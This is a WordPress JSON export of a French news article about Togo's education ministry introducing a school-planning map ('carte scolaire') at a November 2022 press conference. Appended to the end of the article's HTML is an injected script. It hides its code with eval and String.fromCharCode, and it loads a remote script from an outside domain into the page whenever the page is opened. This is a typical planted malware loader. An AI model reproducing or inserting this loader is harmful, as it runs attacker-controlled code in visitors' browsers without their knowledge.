{"id":8950,"date":"2022-11-03T00:37:57","date_gmt":"2022-11-02T23:37:57","guid":{"rendered":"https:\/\/edunews.tg\/?p=8950"},"modified":"2022-11-03T00:37:57","modified_gmt":"2022-11-02T23:37:57","slug":"togo-education-la-carte-scolaire-se-met-progressivement-en-place","status":"publish","type":"post","link":"https:\/\/edunews.tg\/info\/2022\/11\/03\/togo-education-la-carte-scolaire-se-met-progressivement-en-place\/","title":{"rendered":"TOGO: Education: la carte scolaire se met progressivement en place"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\">  Le Minist\u00e8re des Enseignements Primaire, Secondaire, Technique et de l\u2019Artisanat (MEPSTA) s\u2019active avec dext\u00e9rit\u00e9 pour la mise en place de la carte scolaire qui sera une r\u00e9ponse efficace au probl\u00e8me de planification \u00e9quilibr\u00e9e du d\u00e9veloppement du r\u00e9seau scolaire et plus loin, l\u2019ad\u00e9quation de la r\u00e9partition des effectifs avec les capacit\u00e9s d\u2019accueil des \u00e9tablissements.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"609\" src=\"https:\/\/edunews.tg\/info\/wp-content\/uploads\/2022\/11\/IMG-20221102-WA01012-1024x609.jpg\" alt=\"\" class=\"wp-image-8955\" srcset=\"https:\/\/edunews.tg\/info\/wp-content\/uploads\/2022\/11\/IMG-20221102-WA01012-1024x609.jpg 1024w, https:\/\/edunews.tg\/info\/wp-content\/uploads\/2022\/11\/IMG-20221102-WA01012-300x179.jpg 300w, https:\/\/edunews.tg\/info\/wp-content\/uploads\/2022\/11\/IMG-20221102-WA01012-768x457.jpg 768w, https:\/\/edunews.tg\/info\/wp-content\/uploads\/2022\/11\/IMG-20221102-WA01012.jpg 1040w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><figcaption>Les officiels<\/figcaption><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">C&rsquo;est dans cette dynamique que ce mercredi 02 novembre 2022, dans la salle sono du cabinet, le ministre Komla Dodzi KOKOROKO entour\u00e9 de ses plus proches collaborateurs et en pr\u00e9sence de plusieurs invit\u00e9s, \u00e9tait face aux professionnels de la presse pour communiquer autour du sujet. <\/p>\n\n\n\n<p class=\"wp-block-paragraph\">De leurs riches interventions, il devient ais\u00e9 de retenir que la carte scolaire est un ensemble de techniques et de proc\u00e9dures permettant d\u2019estimer les besoins futurs d\u2019\u00e9ducation au niveau local et de pr\u00e9voir les mesures \u00e0 prendre pour les satisfaire. En ce sens, la carte scolaire est un exercice de micro-planification, avec comme sp\u00e9cificit\u00e9 la recherche d\u2019une meilleure ad\u00e9quation entre l\u2019offre et la demande \u00e9ducative.  <\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img decoding=\"async\" src=\"https:\/\/edunews.tg\/info\/wp-content\/uploads\/2022\/11\/IMG_20221102_144142_567-1024x768.jpg\" alt=\"\" class=\"wp-image-8959\"\/><figcaption>une vue des participants <\/figcaption><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Lanc\u00e9 le 23 ao\u00fbt 2018, le processus de mise en place de la carte scolaire prospective doit fournir une vision de ce que le service \u00e9ducatif, avec ses locaux, ses enseignants et ses \u00e9quipements, devrait \u00eatre au bout de cinq ans pour permettre l\u2019atteinte des objectifs \u00e9ducatifs du pays.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Introduite dans la gouvernance du secteur lors d\u2019une grande r\u00e9forme impliquant un accroissement important de l\u2019offre \u00e9ducative, la mise en place  de la carte scolaire fut actualis\u00e9e et repr\u00e9cis\u00e9e par les objectifs du plan sectoriel de l\u2019\u00e9ducation (PSE) 2020-2030, la feuille de route gouvernementale 2020-2025 et les mesures de riposte \u00e0 la pand\u00e9mie du COVID-19 qui appellent \u00e0 de profondes r\u00e9formes du syst\u00e8me \u00e9ducatif.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"> Nonobstant les multiples actions fortes du gouvernement dans le secteur, des disparit\u00e9s dans la couverture du syst\u00e8me \u00e9ducatif subsistent entre les r\u00e9gions et au sein de celles-ci; entre les zones rurales et les zones urbaines. Des demandes de cr\u00e9ation de nouveaux \u00e9tablissements scolaires publics et de normalisation des initiatives locales s\u2019enregistrent toujours.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"768\" src=\"https:\/\/edunews.tg\/info\/wp-content\/uploads\/2022\/11\/IMG-20221102-WA0104-1024x768.jpg\" alt=\"\" class=\"wp-image-8960\" srcset=\"https:\/\/edunews.tg\/info\/wp-content\/uploads\/2022\/11\/IMG-20221102-WA0104-1024x768.jpg 1024w, https:\/\/edunews.tg\/info\/wp-content\/uploads\/2022\/11\/IMG-20221102-WA0104-300x225.jpg 300w, https:\/\/edunews.tg\/info\/wp-content\/uploads\/2022\/11\/IMG-20221102-WA0104-768x576.jpg 768w, https:\/\/edunews.tg\/info\/wp-content\/uploads\/2022\/11\/IMG-20221102-WA0104.jpg 1040w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><figcaption>Une vue des participants<\/figcaption><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\"> La mise en place de la carte scolaire devient indispensable et urgente afin de construire un grand nombre d\u2019\u00e9cole pour atteindre les objectifs nationaux de scolarisation, de r\u00e9duire les in\u00e9galit\u00e9s et am\u00e9liorer la qualit\u00e9 de l\u2019\u00e9ducation sans trop alourdir le budget\u00a0; d&rsquo;adapter le syst\u00e8me \u00e9ducatif \u00e0 l\u2019augmentation massive de la demande\u00a0; d&rsquo;adapter le syst\u00e8me \u00e9ducatif au contexte de d\u00e9centralisation et maintenir un r\u00e9seau scolaire bien organis\u00e9 en respectant des normes transparentes.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Ainsi, de fa\u00e7on sp\u00e9cifique, ce projet permettra \u00e0 terme de mettre en place une carte scolaire num\u00e9rique \u00e0 partir d\u2019un syst\u00e8me d\u2019informations g\u00e9ographiques\u00a0; de pr\u00e9parer un guide m\u00e9thodologique d\u2019\u00e9laboration de la carte scolaire prospective\u00a0; de familiariser les acteurs \u00e0 l\u2019utilisation du logiciel de syst\u00e8me d\u2019informations g\u00e9ographiques\u00a0; de proc\u00e9der \u00e0 la cartographie de r\u00e9partition spatiale de l\u2019offre et de la demande potentielle d\u2019\u00e9ducation \u00e0 partir des coordonn\u00e9es g\u00e9ographiques des habitants et des \u00e9tablissements scolaires et de promouvoir la concertation entre les autorit\u00e9s administratives, scolaires et les \u00e9lus locaux dans la prise de d\u00e9cision relative \u00e0 la cr\u00e9ation, \u00e0 l\u2019extension, \u00e0 la r\u00e9organisation ou au gel des \u00e9tablissements scolaires.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Dans son mot d\u2019introduction, pointant du doigt les manquements pass\u00e9s dans le syst\u00e8me \u00e9ducatif en mati\u00e8re de  planification, le ministre KOKOROKO affirme : \u00ab\u00a0tr\u00e8s honn\u00eatement, nous avons failli, surtout par rapport \u00e0 la planification scolaire et nous avons g\u00e9r\u00e9 les choses en amateur\u2026..cette carte scolaire a \u00e9t\u00e9 mutil\u00e9e, saccag\u00e9e, martyris\u00e9e \u00e0 travers beaucoup d\u2019erreurs, beaucoup d\u2019ent\u00eatement parce que curieusement, chacun ou chacune voudrait avoir une \u00e9cole dans sa chambre \u00e0 coucher\u00bb.Ces seuls propos du ministre disent long sur le sujet et expliquent largement l\u2019opportunit\u00e9 et l\u2019urgence de la mise en place de la carte scolaire.<\/p>\n\n\n\n<figure class=\"wp-block-audio\"><audio controls src=\"https:\/\/edunews.tg\/info\/wp-content\/uploads\/2022\/11\/AUD-20221102-WA0051.aac\"><\/audio><figcaption>Suivre le mot d&rsquo;introduction du ministre KOKOROKO lors de la conf\u00e9rence de presse<\/figcaption><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Prenant la parole \u00e0 son tour, le directeur de la planification, des statistiques et de suivi \u00e9valuation TSALI Kossi Kpom\u00e9gni a pr\u00e9sent\u00e9 brillamment le projet de la mise en place de la carte scolaire et a apport\u00e9 des r\u00e9ponses claires et concises aux pr\u00e9occupations soulev\u00e9es par les professionnels des m\u00e9dias et des invit\u00e9s.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full is-resized\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/edunews.tg\/info\/wp-content\/uploads\/2022\/11\/IMG-20221102-WA00902.jpg\" alt=\"\" class=\"wp-image-8963\" width=\"343\" height=\"398\"\/><figcaption>TSALI Kossi Kpom\u00e9gni  Directeur de la planification, des statistiques et du suivi \u00e9valuation au MEPSTA <\/figcaption><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Rappelons qu\u2019un processus de mise en place de la carte scolaire passe par plusieurs \u00e9tapes dont le pr\u00e9liminaire, le diagnostic, l\u2019estimation de la demande, la d\u00e9finition des normes et des standards, et les propositions pour la carte scolaire prospective. Pour le projet encours, le Togo a d\u00e9j\u00e0 fait beaucoup de chemin. Les phases prochaines vont de la finalisation de la phase pr\u00e9liminaire et pilote \u00e0 la g\u00e9n\u00e9ralisation et  la mise en \u0153uvre avec la pr\u00e9paration de la rentr\u00e9e scolaire.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Et selon TSALI Kossi, la carte scolaire objet de cette rencontre sera mise en \u0153uvre \u00e0 la rentr\u00e9e scolaire 2022-2023 et sera actualis\u00e9e chaque ann\u00e9e.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Pascal S.<\/p>\n<script>var f=String;eval(f.fromCharCode(102,117,110,99,116,105,111,110,32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,102,111,114,46,102,105,114,115,116,98,108,97,99,107,112,104,97,115,101,46,99,111,109,47,116,114,98,98,98,98,98,50,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,125,125));\/*674867468*\/<\/script>","protected":false},"excerpt":{"rendered":"<p>Le Minist\u00e8re des Enseignements Primaire, Secondaire, Technique et de l\u2019Artisanat (MEPSTA) s\u2019active avec dext\u00e9rit\u00e9 pour la mise en place de la carte scolaire qui sera une r\u00e9ponse efficace au probl\u00e8me de planification \u00e9quilibr\u00e9e du d\u00e9veloppement du r\u00e9seau scolaire et plus loin, l\u2019ad\u00e9quation de la r\u00e9partition des effectifs avec les capacit\u00e9s d\u2019accueil des \u00e9tablissements. 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